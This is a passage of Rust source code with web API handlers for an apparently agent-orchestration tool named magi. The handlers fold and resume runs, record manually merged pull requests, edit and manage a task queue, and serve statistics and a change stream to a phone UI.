2561async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2562    let (id, state) = {
2563        let ui = Arc::clone(&ui);
2564        blocking(move || {
2565            let id = resolve_run(&ui.runs, &id)?;
2566            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2567                return Err(ApiError::conflict(format!(
2568                    "run {id} is being worked on by a live daemon right now"
2569                )));
2570            }
2571            let state = read_run(&ui.runs, &id).ok();
2572            Ok((id, state))
2573        })
2574        .await?
2575    };
2576    let removed = match state {
2577        Some(mut state) => {
2578            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2579                .await
2580                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2581            // Nothing left to remove is not the same thing as nothing left to
2582            // do — see `clean::clear_abandoned_active`'s own doc for the run
2583            // this exists for: worktrees already gone, but a killed process
2584            // left active seats nobody will ever answer for.
2585            if removed.is_empty() {
2586                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2587                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2588            }
2589            removed
2590        }
2591        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2592            .await
2593            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2594    };
2595    Ok(Json(FoldView {
2596        run: id,
2597        removed_count: removed.len(),
2598        removed,
2599    }))
2600}
2601
2602/// What a fold took away, so the deck can say so rather than only re-render.
2603#[derive(Debug, Serialize)]
2604struct FoldView {
2605    run: String,
2606    /// Worktree paths and branch names removed, in the order they went.
2607    removed: Vec<String>,
2608    removed_count: usize,
2609}
2610
2611/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
2612/// merged outside of `land::land`'s own loop.
2613#[derive(Debug, Deserialize)]
2614struct FoldMergedBody {
2615    #[serde(default)]
2616    pr_url: String,
2617}
2618
2619/// `POST /api/runs/{id}/fold-merged`.
2620///
2621/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
2622/// `Blocked` with `merge: null` because magi never got as far as opening a
2623/// pull request of its own (a title over GitHub's length limit, `gh pr
2624/// create` unreachable, a stale token), which the operator then finished by
2625/// hand on a pull request magi never recorded. The "Run actions" sheet used
2626/// to have no way to tell it about that pull request short of a terminal and
2627/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
2628/// this exists and what it deliberately does not do (`bump::after_merge`).
2629///
2630/// Refused, like [`run_fold`], while a live daemon is working on the run: the
2631/// correction rewrites the same `status`/`merge` fields a running graph would
2632/// be writing to on its own.
2633///
2634/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
2635/// calls plus a fold, seconds of work, and the phone should get its answer
2636/// (which pull request it recorded, and what changed) in the same round
2637/// trip rather than learning it from the change stream.
2638async fn run_fold_merged(
2639    State(ui): State<Arc<Ui>>,
2640    Path(id): Path<String>,
2641    Json(body): Json<FoldMergedBody>,
2642) -> ApiResult<Json<FoldMergedView>> {
2643    let pr_url = body.pr_url.trim().to_owned();
2644    if pr_url.is_empty() {
2645        return Err(ApiError::bad_request("pr_url is required"));
2646    }
2647    let (id, mut state) = {
2648        let ui = Arc::clone(&ui);
2649        blocking(move || {
2650            let id = resolve_run(&ui.runs, &id)?;
2651            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2652                return Err(ApiError::conflict(format!(
2653                    "run {id} is being worked on by a live daemon right now"
2654                )));
2655            }
2656            let state = read_run(&ui.runs, &id)?;
2657            Ok((id, state))
2658        })
2659        .await?
2660    };
2661    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2662        .await
2663        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2664    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2665        .await
2666        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667    Ok(Json(FoldMergedView {
2668        run: id,
2669        before: before.as_str().to_owned(),
2670        after: after.as_str().to_owned(),
2671        removed,
2672    }))
2673}
2674
2675/// What [`run_fold_merged`] did, so the deck can say so.
2676#[derive(Debug, Serialize)]
2677struct FoldMergedView {
2678    run: String,
2679    /// `status` before the correction — normally `"blocked"`.
2680    before: String,
2681    /// `status` after — normally `"merged"`.
2682    after: String,
2683    /// Worktree paths and branch names the trailing fold removed.
2684    removed: Vec<String>,
2685}
2686
2687/// `POST /api/runs/{id}/resume`.
2688///
2689/// Carry a stalled run on from where it stopped, in the background.
2690///
2691/// A stalled card says "the work is kept" and used to offer no way to act on
2692/// that: the candidates are built and paid for, and continuing means re-asking
2693/// only the seats whose absence collapsed the panel. The alternative an
2694/// operator actually had was releasing the task, which competes three fresh
2695/// implementations against work that already exists.
2696///
2697/// **202, not 200.** A resume runs agents for minutes; holding the connection
2698/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2699/// phone learns the outcome from the change stream.
2700///
2701/// Refused when the loop is running at all, not merely when it is on this run.
2702/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2703/// started a second graph on top of whatever the loop is already driving —
2704/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2705/// allows — would spend that quota twice over for no extra throughput.
2706async fn run_resume(
2707    State(ui): State<Arc<Ui>>,
2708    Path(id): Path<String>,
2709) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2710    let (id, state) = {
2711        let ui = Arc::clone(&ui);
2712        blocking(move || {
2713            let id = resolve_run(&ui.runs, &id)?;
2714            let state = read_run(&ui.runs, &id)?;
2715            Ok((id, state))
2716        })
2717        .await?
2718    };
2719    if !state.status.resumable() {
2720        return Err(ApiError::conflict(format!(
2721            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2722            state.short(),
2723            status_word(state.status)
2724        )));
2725    }
2726    // Refused whenever the loop is running anything at all, not merely when
2727    // it is on this run: a manual resume racing a loop-driven run over the
2728    // same agent quota is the thing this guard exists to prevent, whether
2729    // the loop's own concurrency is one run or several.
2730    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2731        .into_iter()
2732        .next()
2733    {
2734        return Err(ApiError::conflict(format!(
2735            "the loop is running run {} right now; stop it first, or wait for \
2736             it to finish, before resuming a run by hand.",
2737            crate::run::short_of(&work.run)
2738        )));
2739    }
2740    let _resume = ui.begin_resume(&id)?;
2741
2742    // The same shape the list route returns, so the phone updates the card it
2743    // already has rather than learning a second schema for one button.
2744    let queued = RunSummary::of(
2745        &state,
2746        !ui.questions.open_for(&id).is_empty(),
2747        state.liveness(false),
2748    );
2749    let run = id.clone();
2750    tokio::spawn(async move {
2751        let _resume = _resume;
2752        match crate::graph::Runner::resume(&run) {
2753            Ok(mut runner) => {
2754                if let Err(e) = runner.execute().await {
2755                    tracing::warn!("resume of run {run} stopped: {e:#}");
2756                }
2757            }
2758            // The run's own record is what the phone reads; this line is for
2759            // the operator's terminal.
2760            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2761        }
2762    });
2763    Ok((StatusCode::ACCEPTED, Json(queued)))
2764}
2765
2766async fn run_report(
2767    State(ui): State<Arc<Ui>>,
2768    Path(id): Path<String>,
2769) -> ApiResult<impl IntoResponse> {
2770    let text = blocking(move || {
2771        let id = resolve_run(&ui.runs, &id)?;
2772        // Colour is off for the whole process, set once in `serve`. Rendering
2773        // is CPU work over the full state, which is the other reason this is
2774        // not on the executor.
2775        let state = read_run(&ui.runs, &id)?;
2776        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2777        let live = state.liveness(daemon_claims);
2778        Ok(format!(
2779            "{}{}",
2780            report::run(&state),
2781            report::active_seats(&state, live)
2782        ))
2783    })
2784    .await?;
2785    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2786}
2787
2788/// A task as the UI sees it.
2789///
2790/// The whole task, plus the two things the client would otherwise have to
2791/// reimplement: the human-readable source and the status string. Nothing is
2792/// removed - the phone shows `last_error` and the run history verbatim.
2793#[derive(Debug, Serialize)]
2794struct TaskView {
2795    #[serde(flatten)]
2796    task: Task,
2797    source_label: String,
2798    status_str: &'static str,
2799    /// The instruction, parsed as markdown, for the Queue card's "Full
2800    /// instruction" panel. `task.instruction` is unchanged and still carries
2801    /// the raw text.
2802    instruction_md: Vec<md::Node>,
2803    /// For a blocked task, what it waits on with each dependency's state, e.g.
2804    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
2805    /// recurses; empty for every other status.
2806    waits_on: Vec<String>,
2807    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
2808    /// behind - non-empty means nothing in the loop will ever run it.
2809    stuck_roots: Vec<String>,
2810}
2811
2812impl From<Task> for TaskView {
2813    fn from(task: Task) -> Self {
2814        Self {
2815            source_label: task.source.label(),
2816            status_str: task.status.as_str(),
2817            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2818            waits_on: Vec::new(),
2819            stuck_roots: Vec::new(),
2820            task,
2821        }
2822    }
2823}
2824
2825impl TaskView {
2826    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2827        let waits_on = inv.waits_on(&task);
2828        let stuck_roots = inv
2829            .stuck_roots(&task)
2830            .iter()
2831            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2832            .collect();
2833        Self {
2834            waits_on,
2835            stuck_roots,
2836            ..Self::from(task)
2837        }
2838    }
2839}
2840
2841/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2842/// its absence, leaves the cache to decide.
2843#[derive(Debug, Default, Deserialize)]
2844#[serde(default)]
2845struct ReposQuery {
2846    refresh: u8,
2847}
2848
2849/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
2850/// listing `magi repos` prints at a terminal.
2851///
2852/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
2853/// so an edit to `magi.toml` takes effect without a restart, the same
2854/// reasoning [`config_for`] documents for the talk routes.
2855async fn repos_list(
2856    State(ui): State<Arc<Ui>>,
2857    Query(q): Query<ReposQuery>,
2858) -> ApiResult<Json<Vec<repos::Repo>>> {
2859    let refresh = q.refresh != 0;
2860    blocking(move || {
2861        let (cfg, _) = Config::discover(&ui.repo, None)?;
2862        Ok(Json(ui.repos_cache.list(
2863            &cfg.repos.roots,
2864            Duration::from_secs(cfg.repos.scan_ttl),
2865            refresh,
2866        )))
2867    })
2868    .await
2869}
2870
2871async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2872    blocking(move || {
2873        let tasks = ui.queue.list();
2874        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2875        Ok(Json(
2876            tasks
2877                .into_iter()
2878                .map(|t| TaskView::with_inventory(t, &inv))
2879                .collect(),
2880        ))
2881    })
2882    .await
2883}
2884
2885/// A rate together with its denominator, so the client can tell "computed as
2886/// 0%" apart from "no data to compute it from" — both would otherwise
2887/// serialize as `0.0`. `None` means the denominator was zero.
2888#[derive(Debug, Serialize)]
2889struct RateView {
2890    pct: f64,
2891    denominator: usize,
2892}
2893
2894impl RateView {
2895    fn of(numerator: usize, denominator: usize) -> Option<Self> {
2896        (denominator > 0).then(|| Self {
2897            pct: 100.0 * numerator as f64 / denominator as f64,
2898            denominator,
2899        })
2900    }
2901}
2902
2903/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
2904/// rates, each paired with its own denominator via [`RateView`] rather than
2905/// exposing `Stats`' own percentage methods directly — see this module's
2906/// doc for why `Stats` itself is never serialized.
2907#[derive(Debug, Serialize)]
2908struct StatsTotalsView {
2909    runs: usize,
2910    merged: usize,
2911    ready: usize,
2912    blocked: usize,
2913    failed: usize,
2914    stalled: usize,
2915    verified_noop: usize,
2916    superseded: usize,
2917    in_progress: usize,
2918    completion_rate: Option<RateView>,
2919    tallied: usize,
2920    split: usize,
2921    split_rate: Option<RateView>,
2922    deliberated: usize,
2923    minds_changed: usize,
2924    converged: usize,
2925    review_rounds: usize,
2926}
2927
2928impl From<&stats::Totals> for StatsTotalsView {
2929    fn from(t: &stats::Totals) -> Self {
2930        Self {
2931            runs: t.runs,
2932            merged: t.merged,
2933            ready: t.ready,
2934            blocked: t.blocked,
2935            failed: t.failed,
2936            stalled: t.stalled,
2937            verified_noop: t.verified_noop,
2938            superseded: t.superseded,
2939            in_progress: t.in_progress,
2940            completion_rate: RateView::of(t.merged + t.ready, t.runs),
2941            tallied: t.tallied,
2942            split: t.split,
2943            split_rate: RateView::of(t.split, t.tallied),
2944            deliberated: t.deliberated,
2945            minds_changed: t.minds_changed,
2946            converged: t.converged,
2947            review_rounds: t.review_rounds,
2948        }
2949    }
2950}
2951
2952/// [`crate::stats::AgentStats`] for the wire.
2953#[derive(Debug, Serialize)]
2954struct AgentStatsView {
2955    agent: String,
2956    entered: usize,
2957    wins: usize,
2958    empty: usize,
2959    win_rate: Option<RateView>,
2960}
2961
2962impl From<&stats::AgentStats> for AgentStatsView {
2963    fn from(a: &stats::AgentStats) -> Self {
2964        Self {
2965            agent: a.agent.clone(),
2966            entered: a.entered,
2967            wins: a.wins,
2968            empty: a.empty,
2969            win_rate: RateView::of(a.wins, a.entered),
2970        }
2971    }
2972}
2973
2974/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
2975/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
2976/// value, `None` when `rounds` is zero.
2977#[derive(Debug, Serialize)]
2978struct ReviewerStatsView {
2979    agent: String,
2980    rounds: usize,
2981    seated: usize,
2982    submitted: usize,
2983    adopted: usize,
2984    unique: usize,
2985    timeouts: usize,
2986    adopted_per_round: Option<f64>,
2987    precision: Option<RateView>,
2988    unique_rate: Option<RateView>,
2989    timeout_rate: Option<RateView>,
2990}
2991
2992impl From<&stats::ReviewerStats> for ReviewerStatsView {
2993    fn from(r: &stats::ReviewerStats) -> Self {
2994        Self {
2995            agent: r.agent.clone(),
2996            rounds: r.rounds,
2997            seated: r.seated,
2998            submitted: r.submitted,
2999            adopted: r.adopted,
3000            unique: r.unique,
3001            timeouts: r.timeouts,
3002            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3003            precision: RateView::of(r.adopted, r.submitted),
3004            unique_rate: RateView::of(r.unique, r.submitted),
3005            timeout_rate: RateView::of(r.timeouts, r.seated),
3006        }
3007    }
3008}
3009
3010/// [`crate::stats::AdvisorStats`] for the wire.
3011///
3012/// `reflection_rate` is approximate by construction — see
3013/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
3014/// that caveat is static text in `index.html`, not a field here.
3015#[derive(Debug, Serialize)]
3016struct AdvisorStatsView {
3017    agent: String,
3018    seated: usize,
3019    proposed: usize,
3020    absent: usize,
3021    faint: usize,
3022    strong: usize,
3023    reflection_rate: Option<RateView>,
3024}
3025
3026impl From<&stats::AdvisorStats> for AdvisorStatsView {
3027    fn from(a: &stats::AdvisorStats) -> Self {
3028        Self {
3029            agent: a.agent.clone(),
3030            seated: a.seated,
3031            proposed: a.proposed,
3032            absent: a.absent,
3033            faint: a.faint,
3034            strong: a.strong,
3035            reflection_rate: RateView::of(a.strong, a.proposed),
3036        }
3037    }
3038}
3039
3040/// [`crate::stats::E2eStats`] for the wire.
3041#[derive(Debug, Serialize)]
3042struct E2eStatsView {
3043    rounds: usize,
3044    failures: usize,
3045    sole_detections: usize,
3046    deferred: usize,
3047    sole_rate: Option<RateView>,
3048}
3049
3050impl From<&stats::E2eStats> for E2eStatsView {
3051    fn from(e: &stats::E2eStats) -> Self {
3052        Self {
3053            rounds: e.rounds,
3054            failures: e.failures,
3055            sole_detections: e.sole_detections,
3056            deferred: e.deferred,
3057            sole_rate: RateView::of(e.sole_detections, e.failures),
3058        }
3059    }
3060}
3061
3062/// [`crate::stats::ReleaseBumpStats`] for the wire.
3063///
3064/// `clean` is sent as a raw count, computed the same way
3065/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
3066/// needs_attention`) — never derived client-side from `automerge_enabled`,
3067/// which would misclassify a `merged_directly` bump (automerge rejected, but
3068/// magi merged it directly, so no human involvement) as needing attention.
3069#[derive(Debug, Serialize)]
3070struct ReleaseBumpStatsView {
3071    merged: usize,
3072    recorded: usize,
3073    pr_opened: usize,
3074    automerge_enabled: usize,
3075    merged_directly: usize,
3076    needs_attention: usize,
3077    clean: usize,
3078    coverage_rate: Option<RateView>,
3079    automerge_rate: Option<RateView>,
3080    attention_rate: Option<RateView>,
3081}
3082
3083impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3084    fn from(b: &stats::ReleaseBumpStats) -> Self {
3085        Self {
3086            merged: b.merged,
3087            recorded: b.recorded,
3088            pr_opened: b.pr_opened,
3089            automerge_enabled: b.automerge_enabled,
3090            merged_directly: b.merged_directly,
3091            needs_attention: b.needs_attention,
3092            clean: b.clean(),
3093            coverage_rate: RateView::of(b.recorded, b.merged),
3094            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3095            attention_rate: RateView::of(b.needs_attention, b.recorded),
3096        }
3097    }
3098}
3099
3100/// [`crate::queue::TaskCounts`] for the wire.
3101#[derive(Debug, Serialize)]
3102struct TaskCountsView {
3103    queued: usize,
3104    running: usize,
3105    done: usize,
3106    failed: usize,
3107    held: usize,
3108    blocked: usize,
3109}
3110
3111impl From<crate::queue::TaskCounts> for TaskCountsView {
3112    fn from(c: crate::queue::TaskCounts) -> Self {
3113        Self {
3114            queued: c.queued,
3115            running: c.running,
3116            done: c.done,
3117            failed: c.failed,
3118            held: c.held,
3119            blocked: c.blocked,
3120        }
3121    }
3122}
3123
3124/// [`crate::stats::RepoStats`] for the wire, one row per repository with
3125/// runs recorded — the summary the UI's repository selector is built from.
3126/// Carries no nested `Stats`: picking a repo means re-fetching
3127/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
3128/// aggregation rather than duplicating it.
3129#[derive(Debug, Serialize)]
3130struct RepoSummaryView {
3131    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
3132    /// against, full path and all (see [`stats_get`]'s own doc for why).
3133    repo: String,
3134    /// Display name only; never used for matching.
3135    name: String,
3136    runs: usize,
3137    completion_rate: Option<RateView>,
3138}
3139
3140impl From<&stats::RepoStats> for RepoSummaryView {
3141    fn from(r: &stats::RepoStats) -> Self {
3142        let t = &r.stats.totals;
3143        Self {
3144            repo: r.repo.to_string_lossy().into_owned(),
3145            name: r.name.clone(),
3146            runs: t.runs,
3147            completion_rate: RateView::of(t.merged + t.ready, t.runs),
3148        }
3149    }
3150}
3151
3152/// `GET /api/stats` - the whole answer. `Stats` itself carries no
3153/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
3154/// renders from them) are free to grow without that becoming a wire-contract
3155/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
3156/// data" from "computed and it really is zero" the way [`RateView`] does.
3157#[derive(Debug, Serialize)]
3158struct StatsView {
3159    totals: StatsTotalsView,
3160    /// Best win rate first, as [`stats::collect`] already sorts it.
3161    agents: Vec<AgentStatsView>,
3162    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
3163    reviewers: Vec<ReviewerStatsView>,
3164    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
3165    advisors: Vec<AdvisorStatsView>,
3166    e2e: E2eStatsView,
3167    release_bumps: ReleaseBumpStatsView,
3168    queue: TaskCountsView,
3169    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
3170    /// that field's doc. Asserted to match it in
3171    /// `stats_runs_unreadable_matches_health`.
3172    ///
3173    /// Always the whole-workload count, even when `repo` narrows every other
3174    /// field to one repository - an unreadable `run.json` carries no `repo`
3175    /// a per-repository count could attribute it to, and the queue/health
3176    /// views this mirrors never scope it either. The UI must not present it
3177    /// as if it were scoped to the selected repository.
3178    runs_unreadable: usize,
3179    /// Every repository with runs recorded, most runs first - what the UI's
3180    /// repository selector is built from. Always the full list regardless of
3181    /// `repo`, so switching repositories never needs a second request.
3182    repos: Vec<RepoSummaryView>,
3183    /// The `?repo=` value this response was narrowed to, echoed back so the
3184    /// UI can confirm its selection round-tripped. `None` for the aggregate,
3185    /// all-repositories view.
3186    repo: Option<String>,
3187}
3188
3189/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
3190/// repository. Matched by full-path equality against `RunState.repo` only
3191/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
3192/// `--repo` is, because the value here always came from this same route's
3193/// own `repos` list in an earlier response, never typed by a human. A value
3194/// matching no run is a 404, not an empty aggregate: the caller asked for a
3195/// specific, named repository, and silently returning zeroes would look
3196/// exactly like a repository that has runs but none of interest.
3197#[derive(Debug, Default, Deserialize)]
3198#[serde(default)]
3199struct StatsQuery {
3200    repo: Option<String>,
3201}
3202
3203/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
3204/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
3205/// runs when `?repo=` narrows it), the same counting logic `magi stats`
3206/// prints from. Reads every readable run on disk, exactly as
3207/// [`runs_unreadable`] does, so the two counts can never drift apart the way
3208/// a separately-maintained tally could.
3209async fn stats_get(
3210    State(ui): State<Arc<Ui>>,
3211    Query(q): Query<StatsQuery>,
3212) -> ApiResult<Json<StatsView>> {
3213    blocking(move || {
3214        let states: Vec<RunState> = run_ids(&ui.runs)
3215            .into_iter()
3216            .filter_map(|id| read_run(&ui.runs, &id).ok())
3217            .collect();
3218        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3219            .iter()
3220            .map(RepoSummaryView::from)
3221            .collect();
3222        let collected = match &q.repo {
3223            Some(repo) => {
3224                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3225                if filtered.is_empty() {
3226                    return Err(ApiError::not_found(format!(
3227                        "no runs recorded against repo `{repo}`"
3228                    )));
3229                }
3230                stats::collect_refs(filtered)
3231            }
3232            None => stats::collect(&states),
3233        };
3234        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3235        Ok(Json(StatsView {
3236            totals: StatsTotalsView::from(&collected.totals),
3237            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3238            reviewers: collected
3239                .reviewers
3240                .iter()
3241                .map(ReviewerStatsView::from)
3242                .collect(),
3243            advisors: collected
3244                .advisors
3245                .iter()
3246                .map(AdvisorStatsView::from)
3247                .collect(),
3248            e2e: E2eStatsView::from(&collected.e2e),
3249            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3250            queue: TaskCountsView::from(queue_counts),
3251            runs_unreadable: runs_unreadable(&ui.runs),
3252            repos,
3253            repo: q.repo.clone(),
3254        }))
3255    })
3256    .await
3257}
3258
3259/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
3260/// gives no reason - which must keep working, since not every hold has one.
3261#[derive(Debug, Default, Deserialize)]
3262#[serde(default, deny_unknown_fields)]
3263struct HoldBody {
3264    reason: Option<String>,
3265}
3266
3267async fn queue_hold(
3268    State(ui): State<Arc<Ui>>,
3269    Path(id): Path<String>,
3270    body: std::result::Result<Json<HoldBody>, JsonRejection>,
3271) -> ApiResult<Json<TaskView>> {
3272    // An absent body is the ordinary case - most holds are unexplained, and
3273    // that has to stay a one-tap action rather than a form. A body that is
3274    // present and malformed is still a bad request.
3275    let body = match body {
3276        Ok(Json(body)) => body,
3277        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3278        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3279    };
3280    let reason = body.reason.filter(|r| !r.trim().is_empty());
3281    mutate(ui, id, move |t| {
3282        t.hold_manual(reason.clone());
3283        Ok(())
3284    })
3285    .await
3286}
3287
3288async fn queue_release(
3289    State(ui): State<Arc<Ui>>,
3290    Path(id): Path<String>,
3291) -> ApiResult<Json<TaskView>> {
3292    mutate(ui, id, |t| {
3293        t.release();
3294        Ok(())
3295    })
3296    .await
3297}
3298
3299/// The body of `POST /api/queue/{id}/priority`.
3300#[derive(Debug, Deserialize)]
3301#[serde(deny_unknown_fields)]
3302struct PriorityBody {
3303    priority: i32,
3304}
3305
3306/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
3307///
3308/// [`Task::set_priority`] is the one place the "not while running" rule is
3309/// stated; this route only carries the body to it and lets its `Err` become
3310/// the 4xx the card shows.
3311async fn queue_priority(
3312    State(ui): State<Arc<Ui>>,
3313    Path(id): Path<String>,
3314    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3315) -> ApiResult<Json<TaskView>> {
3316    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3317    mutate(ui, id, move |t| t.set_priority(body.priority)).await
3318}
3319
3320/// The body of `POST /api/queue/{id}/edit`.
3321#[derive(Debug, Deserialize)]
3322#[serde(deny_unknown_fields)]
3323struct EditBody {
3324    title: String,
3325    instruction: String,
3326}
3327
3328/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
3329/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
3330/// that refusal's message is what the sheet shows back.
3331async fn queue_edit(
3332    State(ui): State<Arc<Ui>>,
3333    Path(id): Path<String>,
3334    body: std::result::Result<Json<EditBody>, JsonRejection>,
3335) -> ApiResult<Json<TaskView>> {
3336    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3337    mutate(ui, id, move |t| {
3338        t.edit(body.title.clone(), body.instruction.clone())
3339    })
3340    .await
3341}
3342
3343/// `POST /api/queue/{id}/done` - close a task as finished without deleting
3344/// it, so the phone's other way to clear a task from the backlog does not
3345/// have to cost the run history, the attribution, and `created_at` the way
3346/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
3347/// can be marked done by hand, because this is for the run the loop never
3348/// saw land - a merge done by hand, or a gate that misreported - and that can
3349/// happen from any status the task was left in.
3350async fn queue_done(
3351    State(ui): State<Arc<Ui>>,
3352    Path(id): Path<String>,
3353) -> ApiResult<Json<TaskView>> {
3354    let home = ui.home.clone();
3355    mutate(ui, id, move |t| {
3356        t.succeed();
3357        // Same as the loop's own settle path: closing a task by hand is just
3358        // as much "this task's story is over" as a daemon-driven `Merged`/
3359        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
3360        // behind must stop looking like it still needs a human. `ui.home`,
3361        // not the process-global `run::home()`: they agree in a real
3362        // process, but only `ui.home` also agrees with a test fixture's own
3363        // directory.
3364        crate::daemon::supersede_prior_runs(t, &home);
3365        Ok(())
3366    })
3367    .await
3368}
3369
3370/// `DELETE /api/queue/{id}`.
3371///
3372/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
3373/// names this task: a `running` status or an orphaned `.lock` left behind by a
3374/// killed daemon is a leftover, and treating either as authority made the
3375/// task undeletable from the phone for good. The associated runs, if any, are
3376/// kept: a run is self-contained history and not an appendage of the task.
3377async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3378    blocking(move || {
3379        let id = resolve_task(&ui.queue, &id)?;
3380        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3381        ui.queue
3382            .remove(&id, in_flight, &ui.questions)
3383            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3384        Ok(StatusCode::NO_CONTENT)
3385    })
3386    .await
3387}
3388
3389/// Read a task, change it, write it back, under the queue's own lock.
3390///
3391/// Taking the same claim a daemon takes is what makes hold, release,
3392/// priority, edit, and done safe to press while magi is running: without it
3393/// the daemon's next save would land on top of the operator's change and
3394/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
3395/// both do, for a running task - and that refusal becomes the 4xx the card
3396/// shows, same as any other domain rule.
3397async fn mutate(
3398    ui: Arc<Ui>,
3399    id: String,
3400    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3401) -> ApiResult<Json<TaskView>> {
3402    blocking(move || {
3403        let id = resolve_task(&ui.queue, &id)?;
3404        // `claim` fails when the lock file already exists, which is the
3405        // conflict the UI must report: the daemon owns that task's file for
3406        // as long as it is running it, and our write would be lost under its
3407        // next save. The message names the lock either way.
3408        let _claim = ui.queue.claim(&id).map_err(|e| {
3409            ApiError::conflict(format!(
3410                "{e:#} - a daemon is running this task, so it cannot be \
3411                 changed from here yet"
3412            ))
3413        })?;
3414        let mut task = ui.queue.get(&id)?;
3415        change(&mut task).map_err(ApiError::bad_request_from)?;
3416        ui.queue.put(&mut task)?;
3417        Ok(Json(TaskView::from(task)))
3418    })
3419    .await
3420}
3421
3422/// The change stream: one revision number per store, on connect and whenever
3423/// any of them moves.
3424///
3425/// The poll runs in one spawned task per client, which is affordable because
3426/// the work is a directory scan and a `stat` per file. It stops as soon as the
3427/// receiver is gone, so a phone that walks out of range costs nothing after
3428/// its next tick - there is no session and no cleanup to forget.
3429async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3430    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3431    tokio::spawn(async move {
3432        let mut ticker = tokio::time::interval(POLL);
3433        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3434        loop {
3435            // The first tick completes immediately, which is what makes the
3436            // stream announce the current revisions on connect.
3437            ticker.tick().await;
3438            let state = Arc::clone(&ui);
3439            let revisions = tokio::task::spawn_blocking(move || {
3440                (
3441                    state.queue.revision(),
3442                    runs_revision(&state.runs),
3443                    state.questions.revision(),
3444                    state.talks.revision(),
3445                    state.notices.revision(),
3446                    // The loop's counter is in-process state rather than a
3447                    // file, so nothing the three stats above look at would
3448                    // tell this phone that another one started the loop.
3449                    state.lock_loop().rev,
3450                )
3451            })
3452            .await;
3453            let Ok(revisions) = revisions else { break };
3454            if last == Some(revisions) {
3455                continue;
3456            }
3457            last = Some(revisions);
3458            let payload = serde_json::json!({
3459                "queue_rev": revisions.0,
3460                "runs_rev": revisions.1,
3461                "questions_rev": revisions.2,
